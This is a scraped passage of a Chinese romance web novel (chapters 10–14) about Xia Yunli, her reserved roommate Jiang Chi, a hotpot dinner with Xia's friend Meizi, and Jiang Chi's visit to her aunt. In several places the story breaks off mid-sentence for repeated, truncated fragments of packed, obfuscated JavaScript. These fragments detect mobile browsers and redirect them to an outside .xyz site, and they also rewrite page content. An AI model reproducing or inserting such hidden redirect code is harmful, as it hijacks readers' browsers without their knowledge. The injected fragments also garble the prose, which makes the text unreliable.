片头的曲子缓缓播放,先是独唱,随后一个个乐器加入进来,鼓点愈发激烈,像一场狂欢。 姜池看得很专注,她从来没看过这种类型的电影,感觉很新奇。夏云鲤也盯着屏幕,余光却一直放在旁边人身上。 长至下巴的短发干净利落,发尾自然向内扣着。发色并不是纯黑,有种深栗色的感觉,冷白的肤色将这种温柔转为清冷,像长在深山的青松。 她的瞳色很深,看什么都显得认真,和人对视时,压迫感很足。 意外的是耳垂竟然很小,圆圆的一个,没有打耳洞,莫名让夏云鲤想到奶片,仿佛只要舔一下,就会有香甜的味道从舌尖化开。 眼看着思维要往奇怪的地方发散出去,夏云鲤迅速低头,静静喝了一口汤。 姜池无疑是一个长得很美的人,而且是有攻击性的那种美,神情冷淡,就更显得拒人千里。 可夏云鲤从不觉得她不好相处,反而觉得这人太好说话,迄今为止,她还没从姜池这里听到过一句拒绝。 想到非吵着闹着要约饭的闺蜜,她实在不能不心虚,就怕这位人来疯到时候说些奇奇怪怪的话,让所有人都尴尬。 “五一假要放五天呢,你有什么计划吗?” 比如出去旅游之类的,最好一去五天,吃一顿饭就再也碰不到。 “暂时没有。” 姜池从平板上移开视线,看了她一眼,就像会读心术似的问:“我在家里住会打扰到你们吗?” “胡说什么!没有,当然不会了,要说打扰也是我们打扰你才对。”夏云鲤拔高分贝,哈哈两声,“我就是好奇嘛,下次小长假要国庆了,最近朋友圈里都在讨论旅游什么的。” “突然想问问你而已,老师也会放五天假吗?” 不知道姜池相信没有,但她收回了视线,“规定是放五天,但要批作业,还要跟进项目,其实没什么休息时间,还是照常上班。” “不过我会回家一趟。” “你家里是哪儿的呀?”夏云鲤忽然想到,当初签合同她只看了姜池的教职工证,还真没问对方是哪里的人。 姜池说话也没口音,普通话非常标准,都能去做播音员了,听不出来什么。 “就是本市的。”姜池说。 夏云鲤咦了一下,又了然点头,“家里是太远了吧,自己出来住的确很方便,通勤也快。” 她脑海里划过一个送礼的念头,想了想又按下了。 交朋友也要循序渐进,她们的关系还没到位,突然提出要给长辈送东西,只会显得冒昧。 电影刚放了三分之一,饭就吃完了。 夏云鲤帮着一起捡了碗筷,又擦了桌子。 “快点弄完我们好看电影呀。” 她这样说,姜池就没了辙。 电影很好看,有笑点,有感动,不论是歌还是舞蹈都极具感染力和生命力。 是夏云鲤会喜欢的电影,就像她这个人,很有生机。 泪点也很低,垃圾桶里多出的纸团作证。 哭过的眼眸好似水洗过透亮,眼底还有一层浅浅水痕,莹莹润润,有几根睫毛黏在一起,小刷子似的,眼圈和鼻头都泛着红,可怜又可爱。 姜池只往旁边看了一眼,就不敢再看,默默把纸抽递过去。 “谢谢。”夏云鲤说,话里带着鼻音,闷闷的。 姜池心底一颤,短暂停顿后,轻轻嗯了一声,“不客气。” 洗漱完,姜池回到卧室,挨个搜索了对方之前提出来的其它几部电影。 一部科幻,一部动画,一部爱情,评分都很高。 有一种说法是,喜好能反映出一个人的性格与渴望,透露出她内心真实的爱好和想法。 现在八点半,正好还能再看一部两个小时的电影。 姜池犹豫一下,选了最后一个。 。 时间过得又快又慢,夏云鲤天天听着闺蜜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035929|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的各种游玩计划,真到了要去接人那天,还有一点不真实感。 浅蓝针织吊带背心,配牛仔阔腿裤,费了好大的功夫把头发卷起来,举卷发棒举到手酸。 夏云鲤卷到一半就开始后悔自己为什么要答应梅子,做什么“卷发双胞胎”这种不靠谱的事。 梅子的头发刚到肩膀,十分钟就搞定了,她至少得弄半个点。 好在天气不错,虽然没有云彩,阳光很足,但阵阵微风带来凉爽,是一个非常适合出去玩的温度。 夏云鲤算好时间,拎着两杯奶茶来到火车站,找了一个人少的角落,刚站稳,背后就传来一股大力。 “哈哈!猜猜我是谁?” 明亮的声线划破空气,夏云鲤往前踉跄两步,差点被扑了一个前趴,“是双开门还带咖啡机的大冰箱吗?” “是奶茶,快快给我,渴死我了,忘了带水了。”梅子从她后背下来,伸手去够手提袋。 “草莓牛乳绿茶?” “对。” “少冰多糖?” “对。” “加一份波波?” “没错。” “还得是你。”梅子对着吸管猛嘬了一口,像是打了肾上腺素似的,连头发丝都活过来了。 “我们什么时候去吃饭?”她说着,又嘿嘿一笑,“和你室友一起。” 她咧着嘴,偏光的星星唇环闪闪发亮,眉眼狡黠,像是地狱里的小恶魔偷跑出来,时刻准备着干点坏事。 “她还得上班,晚上再吃。” 两人认识太久,她一动嘴夏云鲤就知道这人打什么主意,警告道:“你不许胡乱说那些有的没的,平时跟我脑补乱嗑就算了,晚上吃饭,不许瞎开玩笑。” “还笑,还笑,你听到没有啊!” “我什么时候乱说话了,你还不了解我吗,真是。”梅子脸不红气不喘,一点心虚都没有。 她拉起行李箱,又撞了下夏云鲤的胳膊,“话说,你室友直的弯的?” 一句话,成功让夏云鲤哑火。 嘴唇嗫嚅了半晌,她回想起姜池的种种,咬了咬唇,“我也不知道。” 11. 第 11 章 夏云鲤是一个没有姬达的人。 两个女生手牵手走在路上,随意说笑,打打闹闹的,看起来关系很好,可她根本分不清这是一对好朋友还是一对情侣。 在敏锐度上面甚至还不如梅子这个直女。 甚至人家拥抱一下,贴在一块儿,她也不能确定,关系好的直女朋友之间,不也经常做这些吗? 而像姜池这样没有丝毫外显象征的,她就更猜不到了。 观察不出来,问又太冒昧。 “我也不至于见到一个漂亮女生就要和人家谈恋爱吧。”夏云鲤不像是说给闺蜜听的,更像是说给自己。 “我们的关系现在挺好的,多交一个朋友也不错啊。” 她不知道,自己在口是心非的时候,眼神很飘忽,根本不敢和人对视。声音也很虚,听着一点底气都没有。 人一般都察觉不到自己的小习惯。 梅子看着这个左瞄右瞄,看天看地,就是不肯看她的好闺蜜,心里哈了一声,摊了摊手,“你说得对,就当朋友处嘛。” 谁说女朋友不是朋友了。 她坐出租晕车,一上车就老老实实把手机收好,听夏云鲤安排晚上的聚餐,“我去哪儿都行,你就当我是一个挂件。” 她不忌口,什么都能吃,而且目的也不在吃饭,在看人,自然是随便。 夏云鲤也知道梅子的饮食习惯,连问都没问她,直接定下,“那就潮汕火锅,离家不远,只有三公里。到时候我们先去学校,等姜池下班出来,再一起打车过去,怎么样?” “可以啊,但你不是不爱吃辣吗?怎么不去海底捞吃番茄锅。”梅子松开咬住奶茶吸管的嘴,斜着眼探究地望着闺蜜,若有所思。 “有鸳鸯锅,白汤也能吃呀,姜池喜欢辣口的。”夏云鲤低头看着套餐内容,在几个套餐之间来回纠结,不经思考就说出了心里话。 “噢……原来是有人喜欢,我说嘛。” 说话的人拉长了音,调侃意味十足,夏云鲤不用看就知道她什么表情,一定是在那里贱兮兮地挤眉弄眼,她磨了磨牙,耳根却红了,“给我闭上你的小嘴巴!” 梅子摊手叫屈,“我说什么啦!我刚刚还一个字都没说呢!好冤啊,六月飞雪就在眼前。” “你嘴上没说,但心里没少说。”夏云鲤瞪她一眼,配上微红的面颊,实在没什么杀伤力,“我难道是第一天认识你吗?” 她吸了口气,“不吃火锅了,去吃川菜好了。” 梅子本来嬉皮笑脸的,听了这话立马哀嚎出声,“别嘛,我也想吃火锅,好久没吃了。你不知道,上次我们同事聚餐,也是火锅,那个谁你还记不记得,就是之前跟你提过总不洗头的那个……” 小鱼不爱吃辣,她自己也不是吃辣的人,火锅还能忍一忍,从辣椒里捞菜吃的川菜是真的一口动不了。 眼看着要把人惹毛了,梅子连忙插科打诨转移话题,一句调侃的话也不敢说了。 半个小时的车程,夏云鲤听了一路的头油男吧唧嘴又贪的饮食习惯,原本不晕车的她,也觉得胃液开始向上翻涌。 好在后半程梅子换了个话题,讲起了圈内的八卦。 她是专职写剧本的,主要是给短视频写剧情,还兼职创作剧本杀的本子,业内口碑不错。 DM爱恨情仇显然比猥琐男吸引人,连司机都忍不住加入进来,询问细节,等到路程结束,对方还恋恋不舍的,扯着脖子问那俩人最后到底怎么样了。 站在小区门口,看着滴滴逐渐走远,夏云鲤提着包,望向还在摆手的闺蜜,狐疑地说:“我怎么觉得,你刚刚说的那么耳熟呢。” “霸道皇帝火葬场的现代版嘛!”梅子撩了下头发,扬眉,虎牙咬在唇环上,坏得要命,“最近这种类型的剧很火,公司又催我写一个,现在看来还不错。” 夏云鲤无语。 放好行李,两个人又在沙发上躺了一会儿,边看综艺吐槽,边吃光了一小盆车厘子。 终于等到姜池下班。 梅子跟闺蜜步行过去,也体验了一把接人活动。 下班时间也是下课时间,校园内的学生像开了闸的犯人,一股脑地往外冲,嘴里讨论着作业、晚上吃什么,玩什么,还有一些人路过,激烈争论,说一堆专业术语,听也听不懂。 梅子本来还在感慨大学生和社畜的区别,忽然激动地拍了好几下夏云鲤的肩膀,“那个那个,是不是你的姜姜?” “注意言辞!” 夏云鲤差点跳起来,当场捂住她根本不知道遮拦的嘴,压低声音警告道:“你再乱说一句,我就不带你了!” 什么叫“我的”,她左右看看,没有学生注意到这里,才松了口气,威胁似的瞪了对方一眼。 梅子举起手做投降状,闷声闷气地说:“我错了,再也不敢了。” 不过这位姜姜,还真怪好看的。 垂坠的深灰西装裤,白衬衫,领口的系带松着垂在两端,纽扣解开两颗,露出白皙锁骨。本该是休闲的装扮,却因冷淡的神色格外禁欲。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035930|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梅子挑了下眉。 姜池有一些近视,但视力没差到戴眼镜都看不清人的地步。她走近,银框眼镜下一双冷淡黑瞳轻轻扫过,“小鱼,梅子,等很久了吗?” 说话间,她站到夏云鲤身旁,将胳膊上搭着的外套换到另一边,腕上的黑曜石手串微微一晃,将淡青血管衬得分明。 夏云鲤自然地就把身子转过去,面朝向她的方向,“我们掐着点过来的,刚到。那咱们走吧,过去店里还得一阵呢。” “你今天工作怎么样,还顺利吗?” 姜池点了下头:“上课还是老样子,不过实验有了新进展,过两天准备移栽。” “恭喜呀。” 两个人你一言我一语,梅子被晾在一旁瞅瞅这个,又瞅瞅那个,嘴角逐渐勾了起来。 啊哈! 她就知道! 没有什么能逃得过她这一双火眼金睛。 她的打量观察不算隐秘,没看几眼就和姜池对上了视线,后者顿了顿,眼底像是滑过什么,语气礼貌道:“过会儿我去买奶茶,梅子要喝什么?” “带柠檬的,什么都行。”梅子冲她咧嘴一笑,唇环上的星星仿佛在闪光。 “你不是不爱喝酸的吗?”夏云鲤疑惑。 “人的口味总是要变的嘛,我最近突然就喜欢上吃醋,啊不,吃酸的。”梅子笑嘻嘻的回,又扫了姜池一眼。 这位博士,大学教师,仿佛雪堆成的人直直看向她,眼瞳黑得幽深,瞧不出什么心思,过了一会儿,才慢慢垂下眼,不急不缓地说:“好,我记下了,小鱼还要抹茶奶绿吗,全糖少冰?” “好啊。”夏云鲤有些惊奇地说,“你还记得我上次喝的?” “一直记得。”姜池说,语气如常,就好像这是一件无需刻意显摆的小事,和她帮忙拉开车门的举动一样,不值一提。 “我们现在看下团购吧。”夏云鲤咬着唇笑得眼睛都弯了,心情忽然甜了八度,又往姜池那边靠了靠,把手机举过去,“这有三个套餐呢。” 姜池看了一眼,没有选,反而抬眸问道:“梅子不来挑一下吗?” 夏云鲤摆了摆手,“不用管她,她什么都吃,你选自己想要的就好了。” 姜池推了下眼镜,嗯一声,也低下头,状似看得很认真,唇角却在别人看不到的地方扬了一下。 一旁的梅子在心里啧啧两声。 一个反应迟钝,一个心怀鬼胎。 这俩要是没问题,她发誓每天倒立走路! 12. 第 12 章 一个是认识了十多年的闺蜜,一个是……室友,这道选择题很简单,夏云鲤连犹豫都没有,先把餐具推给了后者。 梅子正系围裙呢,一抬头就瞧见了这一幕。 噫。 夏云鲤坚信,每个人的口味都不一样,在饮食习惯上绝对有所偏好。尽管姜池说自己没有忌口,可她还是凭借自己出众的观察能力,看出了对方的喜好。 和服务员点餐的时候,又加了一份毛肚和贡菜。 菜品刚端上来,一只冷白如雪的手拿起筷子,率先夹了两块毛肚放进辣锅里。 夏云鲤眼底漾开柔色,烧开的火锅汤底咕嘟嘟冒着热气,像是朦胧的云雾,模糊掉这一瞬间的暧昧目光。 压下唇角浅笑,她侧头,用胳膊肘撞了一下梅子,“别玩手机了,吃饭。” 不要以为她没看到这人在鬼祟地给自己发消息,还打了一长串的“yooooooooo”。 叮,手机响了,熟悉的头像在屏幕上出现。 夏云鲤暗自深吸了一口气,藏在桌下的脚倏地往旁边一踢。 “嗷!”梅子大叫一声。 叫出声的脸皮厚,完全不觉得有什么,踢人的反而面色一僵,垂着的手抓了抓空气,顶着姜池疑惑的视线,生硬开口:“肉烫好了,快吃呀,再煮就老了。” 话音未落,夏云鲤就夹了一块牛肉塞进嘴里,太过着急,连辣椒都忘了摘干净,嚼了两口,又是一僵,面颊和唇瓣以肉眼可见的速度红起来。 囫囵个咽下去,又急忙灌了两口奶昔,忍着想要倒吸气的冲动,她哈哈两声,“你们都快吃呀!” 指腹按住木筷硌人的棱角,姜池低低应一句好,也夹起一块肉沾进油碟,放入口中缓慢咀嚼。 仿佛刚刚没看到桌对面的那些小动作。 但一时间,她忽然失去了聊天的动力。 和梅子在一起时,夏云鲤一下变得活泼了不少,她们的感情的确很好。 姜池顶着一张没什么表情的脸,又调了一份加麻加辣的油碟,狠狠往牛肚上裹小米辣,嚼得咔嚓咔嚓响。 简直是致死量的辣椒,夏云鲤又抿了一口解辣的奶昔,感觉自己的舌头都要幻痛了。 “要不要吃娃娃菜?我下在白锅。” 姜池抬眸,小鱼正看着她,唇瓣又红又润,似乎还肿了一点,眼底同样水润,是被辣的,却像可怜巴巴的哀求,正等她的回答。 视线一移,桌边的另一个人支着下巴,也看着她,笑得古里古怪,贼兮兮。 眉头和姜池的心情一样变低了一点, 她现在只想吃点重口的、味道刺激的东西。 “可以,我正好想吃点素菜。”姜池说。 “好呀,那我多下几片。”夏云鲤笑眯眯地夹起四五片娃娃菜放进白锅,“再来几根贡菜,对了你要不要吃水果,小料区还有西瓜哈密瓜什么的。” 压低的眉头又扬了起来,姜池放下筷子,“你想吃吗?我去拿。” “喊服务员去就好了呀。” “他们不挑。”姜池擦了擦嘴,直接站起身,摆明了非要亲自走这一趟。 “啧啧。”人刚走远一点,梅子就摇头。 夏云鲤懒得看她,目光只顾着追随姜池的身影。 垂落的黑发半遮住眉眼,眼镜也成了增添魅力的装饰品,挑选西瓜的姿态无比认真,好像这是一件非常重要的事。 “嘿!” 梅子的声音突然在耳边放大,就跟有个手鼓猛锤了一下,夏云鲤当场打了个激灵,心脏砰砰跳起来,比刚刚还要快上一倍。 “再盯着看眼睛都掉碗里了!” 夏云鲤闭上眼睛,吸气呼气,呼气吸气,声音几乎是从牙缝里挤出来,“你知道吗?虽然我有时候真的很喜欢你,朋友的那种,但想打你的心情也一样强烈。” “以前都不刻意、专门、特别、反复强调是朋友的,突然就划清界限,怎么回事呢?” 梅子拧着眉,宛若遇到了无解难题,摇头晃脑道:“你说说,为了点什么呢?” “闭嘴。” “说不过就让人闭嘴,多么霸道。” “或者你也可以选择继续说,然后没有烧鹅吃。” 梅子乖乖抬手,把自己的嘴捂住了。 姜池回来,端着两个盘子,几乎没籽的西瓜,哈密瓜,圣女果,橙子,都是每样三份,个大饱满。 她把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035931|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装着西瓜和哈密瓜的盘子放到了夏云鲤面前,另一个放到了梅子面前。 “我去的时候很凑巧,服务员刚端上来新的。” “这个西瓜好甜哦!你快尝尝。”夏云鲤又把盘子推过去。 姜池拿起西瓜,咬了一口,“是很甜。”她说,“是我吃过最甜的西瓜。” …… 坐了半天的高铁,又吃了一肚子的瓜,梅子虽然精神还振奋,但身体实在跟不上,一到家就回房里躺着了。 夏云鲤在心里暗自笑话了几句,转头就去了厨房,姜池在客厅站了一会儿,也跟了过去,轻声问道:“晚上还要吃夜宵吗?” “没有,我看看家里还有没有缺的调料,要做醉虾和烧鹅,梅子喜欢吃。” “白酒,或者黄酒?”姜池绕到她身后,伸出手打开最顶层的柜门,“我记得放在这里。” 夏云鲤本来在翻看冰箱旁的调味收纳柜,忽然一具温热躯体靠近。 在感受到温度前,她先嗅到的,是姜池身上很淡的香气,像薄荷,又像刚除过草的草地,清新但柔和。 这不是对方常用洗发露的味道。 她忽然想起姜池有一次湿发,水滴落在肩膀上,打湿薄薄的睡衣,洇出深色和轮廓。 只因她走路不小心踢到茶几,痛呼,这人就急匆匆从跑出来,没戴眼镜,半眯着眼,发丝贴在面庞上,像一只海中刚上岸的,湿漉漉的海妖。 夏云鲤呼吸一滞。 姜池似乎只是开个柜门,靠近又退开,同她隔了半个手臂的距离,神情像平时一样淡淡的,“你要找的是这个吗?” “……对、对。” 夏云鲤落后半拍开口,嗓子里像卡了块木头,她踮起脚看了一眼,“有就不用买新的了。” 趁着关柜门的功夫,她猛地吸了一口气,鼻端的味道却更明显,该怪自己嗅觉太灵? 还是怪梅子,要不是她总乱说,自己也不会乱想。 夏云鲤偷偷掐了自己后背一下,端出笑脸,“明天晚上要不要吃寿司?我记得家里还有一份籽虾。或者你有什么别的想吃的吗?” 姜池只是用深黑的眼眸看着她,低声说:“你做什么我都爱吃。” 13. 第 13 章 姜池有一双瞳色很深的眼睛,逆光的时候,就像是纯黑色,一切冷漠和深邃的同义词都可以放上去形容。 学生在她面前战战兢兢,夏云鲤知道,这人还有个大魔头的外号,时不时就拿它调侃。 可她不知道,像姜池这样的人,也能说出近乎情话的句子。 猝不及防。 或许是心脏停跳了一拍,又拼命找补回来,加速跳动,夏云鲤的脸迅速烧红了。 她清楚地感受到体温上升,薄薄的一层夏衫变成了桑拿房的浴巾,热的让人透不过气。 猛地一个大转身,她拉开冰箱的门,几乎把整个身子都扑进保鲜层里,边做出翻找的样子,边咽了下口水,尽量保持语调平稳地说:“拍我马屁是不是?姜大博士又开始说漂亮话了,难不成是想吃佛跳墙?” “我说的都是真心话。”姜池的声音在她背后响起,清清楚楚,音量不高,但足够她听见。 顿了顿,她又说:“我喜欢你做的菜,不过这几天你专心去玩,不要再给我带饭了,晚餐也不用,我在外面吃就行。” “出去玩很累,回来还要再做饭,太辛苦。” “午餐还是带上吧。”夏云鲤想到这人的面包生涯,顾不上降温,急忙又转回来,“我本来也要吃早饭的,顺便就一起做了,不麻烦的。” “好。”似乎抵不过诱惑,姜池还是点了下头。 “不过明天晚上我不回来,要回家里面一趟。” “那你什么时候回来?”夏云鲤下意识追问,话出口才觉急切,不由得咬了咬唇,看似神态如常的脸上,不自然一闪而过。 又匆忙解释道:“我的意思是,回家里起码也要多待几天吧。” 比起解释,这话听起来更像是在赶人。 懊恼地抓紧冰箱门,她又试图找补一下,“不过早点回来也行,就是,这边上班方便嘛,哈哈。” 越说越乱,夏云鲤默默闭上了嘴,所有的害羞和急迫都远去了,只剩下后悔和窘迫在心上打转。 她的表现十分异样,可姜池却在想着别的事,并未察觉。一想到回去,她就很抗拒,可事情总要解决。 姜池的眉头因烦扰而拧起,声音也降了下去,好似“具体时间要看情况。” 不顺利的话,或许当天就回了。 “会早点回来的。”她说,紧抿的唇角竟勾勒出一点弧度,“想吃没吃到的醉虾。” 夏云鲤怔怔地望着她离开,像是被不知名的法术定住了,点穴了,动弹不得,魂却从身体里腾地一下飞出来,双手抓着脑袋大叫。 是笑,绝对是笑没错,面对面的距离,自己不可能看差。 她呆呆地关上冰箱,呆呆地洗漱,镜子里映出一个满嘴泡沫,魂不守舍的人。 为什么笑? “难道她很爱吃醉虾?”夏云鲤呢喃。 语气和表情一样困惑。 想不通的事,就暂且放下,反正时间会给出答案。 擦好面霜,拍了拍脸,将盖子扣好放回原位,夏云鲤视线在柜中另一套水乳上停留片刻,心中条件反射般给出否定的答案。 护肤品的味道不会停留那么久的。 洗漱结束,她抱着换下来的衣服送到阳台的脏衣篓里,目光又扫过洗衣液和留香凝珠。 它们都不是姜池身上的味道。 当你有一个过于灵敏的鼻子,很难不对空气中存在的气味上心。 一个困惑压下去,另一个困惑浮上来。 巧的是,两个都和姜池有关。 。 一辆出租绕过行人,停在幸福小区门口,车门推开,姜池下车,回手关门,望着小区熟悉的掉漆铁门,一时间没有动作。 行道树的影子伴随着哗啦啦的风声摇晃,几位上了年纪的老太太一起坐在长椅上,晒着太阳说话,瞧着闲适又自在。 “小姜回来了,怎么不进,忘带卡了?”门卫大爷探出头来,“我给你开门。” “谢谢陈叔。” “哟!小姜回来了,瞧这孩子,还是这么板板正正的,听说在农大教书呢?多优秀啊,不像我孙子,书都念到狗肚子里去了。” “我家的也是,上个月月考,竟然都掉出去前十了,真让人愁得慌。” 姜池挨个和她们打过招呼,又得了几句夸, 老小区的门也生锈,一动就吱嘎响,几个穿着校服的年轻学生从她身边走过,书包沉重,压得肩膀都向一边歪着。 等她进去,身后看似自谦实际炫耀的声音忽地一低,听不清了。 老小区楼房外墙斑驳,电梯老旧,实在说不上好。却因为挨着实验一中,小姨和姨父都是一中的老师,几十年都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035932|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有换过地方。 电梯上到五楼,叮一声打开。 不算宽敞的楼道放着几个鞋架,去年的对联还贴在门上,已经有些掉色了。 姜池抬手,敲门。 笃笃笃三声响,屋内人回应和走路的声音都从薄薄的门板后透过来, 来人开门,同她有七分相似的脸微愣,随后略有埋怨地说:“你还知道回来。” “快进屋,我们晚上吃排骨。” “小姨。”姜池说,“我还带了点水果和牛肉。” “又买榴莲,琦琦都要被你惯坏了。”姜雪兰伸手接过两个购物袋,亲昵地抱怨,脸上笑得开怀,又扬声喊道:“琦琦,快看谁来了!” 小姑娘像个炮弹似的从里屋冲出来,直接扑到姜池怀里,“表姐表姐,我好想你!” 一张小脸圆滚滚,身上也是肉墩墩的,显然营养极好,鼻子耸来耸去,“我闻到了,是榴莲的味道,小姨给我买榴莲了是不是?” “吃完饭再吃。”姜雪兰抬手按住自家闺女的脑门,阻止她扑过来。 “可是可是还有好长时间才能吃晚饭呢!爸爸不知道什么时候回来。” 小姑娘又撒娇,试图让亲妈心软,但失败,嘴巴撅起来,高得能挂油壶。 姜雪兰选择不搭理她,招呼姜池坐下,倒了杯温水过去,“有个老师作业没批完,你姨父他去帮忙了。” 她也跟着坐下,高中教师的工作实在累人,她还不到四十岁,已经眼角皱纹明显,还有了几根白头发。 “你……最近工作还顺利吗?和同事处的怎么样?” 姜池能清楚地看见她的试探和小心翼翼,心情陡然复杂起来,“挺好的,同事人都很好,项目进展也很顺利。” “室友人也很好。” 姜雪兰沉默片刻,“真的不回来住了?” “我总要搬出去,不可能一直住在这里。”家里没有外人,姜池定了定神,沉声说道,“小姨,我知道你是关心我,但是……” 话说到一半,她蓦然住嘴,只因一张小圆脸凑了过来,眼睛也睁得圆溜溜的,“妈妈也很关心我,因为我们是一家人,所以,我现在可以吃榴莲。” 有这么个小祖宗在,别想有好好说话的机会,两个大人对视一眼,姜雪兰叹气,“就给你一小块,多了没有,听到吗?” 14. 第 14 章 姜琦是个很开朗活泼的小姑娘,家里条件也不错,能支持她想要学古典舞的爱好。 十岁的年纪,跳起舞来已经有模有样,并且热衷于当众表演,就为了听大家夸她。 姜雪兰去剥榴莲的功夫,她便急不可耐地拉着姜池的手,要给她跳自己新学的舞。 音乐悠扬,人也优雅,像一只成功学会翱翔的天鹅,目光傲然,底气十足。 姜池认真凝望着这一幕,心思却飘远了。 小姨是很好的人,但也有属于长辈的固执,对她的关怀是真。 哪怕姜琦出生,自己也没有因此被忽略,但凡姜琦有的,她都要有一份,甚至还要额外超出,就是怕她会觉得自己被冷落了。 但同时,这份感情也变为同等,甚至加倍的压力,迫使自己拼命学习,记下每一件大大小小的恩情,做一个旁人口中近乎完美的外甥女。 她几乎从未反驳过小姨的决定,正因如此,上次的争吵,才显得尤为激烈。 有些话一开始没能说出口,再想说就难了。 加班的姨父赶了回来,他和平时一样削瘦,或许是得到了姜池回家的消息,手上还拎着一盒披萨和新鲜菜。 熟悉的盒子,熟悉的品牌,是她以前经常会吃的,就连口味都没变,黑椒牛肉。 姜池心中不由泛起苦笑。 姨父的话不多,温吞地问了几句近况,就钻进厨房,把妻子换了出来。 之前中断的话题,姜雪兰也不开口续,这个风风火火的女人仿佛已经有了自己的想法,姜池不说,她就决计不提之前争吵的事情,就像什么都没发生。 在饭桌上,她转而提起了买房的事。 “为什么不直接买一套自己住?租的房子再好,不是自己的也不舒服。” 很正常的提议,姜池却犹豫了。 自己买房,岂不是要从现在住的地方搬出去? “现在住的地方离学校近,步行十来分钟就到了。”她说。 夹了一筷子清炒豆芽,很熟悉的味道,非常清淡,少油少盐,几乎就是豆芽本身的味道。 姜池缓慢咀嚼,心里想的却是夏云鲤炒的醋溜豆芽,豆芽牛肉,凉拌豆芽。 好像不论什么食材,到了她那双有魔法的手里,都会变得多姿多彩起来。 不知道她们现在在做些什么,大概玩得很开心吧。 “再买辆车不就行了,你也有驾照,出门还是开车方便,都是大学老师了,当然得配辆车了。”姜雪兰顺手给她和闺女各加了一份排骨,“多吃点肉,别光吃菜。” 又继续说道:“楼下老荀家的闺女你还记得吗?研究生毕业去的海城工作,现在自己都攒下来一套房了。” 她絮絮叨叨地念了一阵,中心思想很简单——别人有的,姜池必须也得有。 “房不急,等有合适的新楼盘,我会留意的。至于车的话,我有时间就去看看。” “想买就趁早,我有个老同学开车行的,这就帮你问问。”姜雪兰三下五除二就安排好了所有的事,打电话定了时间。 姜池甚至都来不及插一句话。 她徒劳地把嘴闭上,内心清楚,一个习惯于发号施令的人,连道歉和补偿,也带着些许强迫的味道。 而她假如没在十来年的生活中,如此了解这位小姨,知道她确实有想要弥补的心。 那些拒绝和坦白,也不会如此难以开口。 吃过饭,她端起碗筷想要洗碗,被小姨赶出了厨房,“你去陪琦琦,这不用你忙,她可想死你了。” 姜琦也拽着她的手向外拉,“小姨陪我下楼踢毽子吧。” 小姑娘力气奇大,精力旺盛,对电子产品没有兴趣,就喜欢跑跑跳跳。 姜池无奈地穿好鞋子,在电梯里给夏云鲤发消息,她今天多半是不会回去了。 。 叮咚。 梅子举着手机,像个陀螺一样转圈,试图寻找合适的光照和角度自拍。 上下左右绕了一通,好不容易选了个不错的位置,身后是树影斑驳,光线正好,“快来快来。” 她调整好表情,等了一会儿,却迟迟等不到好闺蜜,扭过头一看,对方正一脸沉思状地捧着手机,在上面按来按去。 梅子:“又跟你家那位说话呢?” “对,她说今天不回来吃饭。”夏云鲤顺口答了,说完突然一僵,“等下,什么叫我家那位?” 手机一下变成了烫手山芋,她慌慌张张地把它往兜里塞,奔着梅子就冲了过去。 后者贱兮兮地嘿嘿笑,顺着山路往上跑,“我不知道啊,你自己应的。” “我那是没注意听!”恼羞成怒并不能给她带来更多的助力,让她追上得意的闺蜜。 “人都说,下意识的反应最真实。”梅子单手叉腰,竖起一根手指冲她摇了摇,“你的耳朵是好的,怎么可能没听明白是什么,就是脑子里也这么想才对。” “不过呢,你要非说是不注意也行。” 她话音一转,成功让追上来的夏云鲤站住,狐疑地紧盯着她,不知道这人葫芦里又要卖什么药。 梅子咧嘴一笑,“因为只想着亲亲室友了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 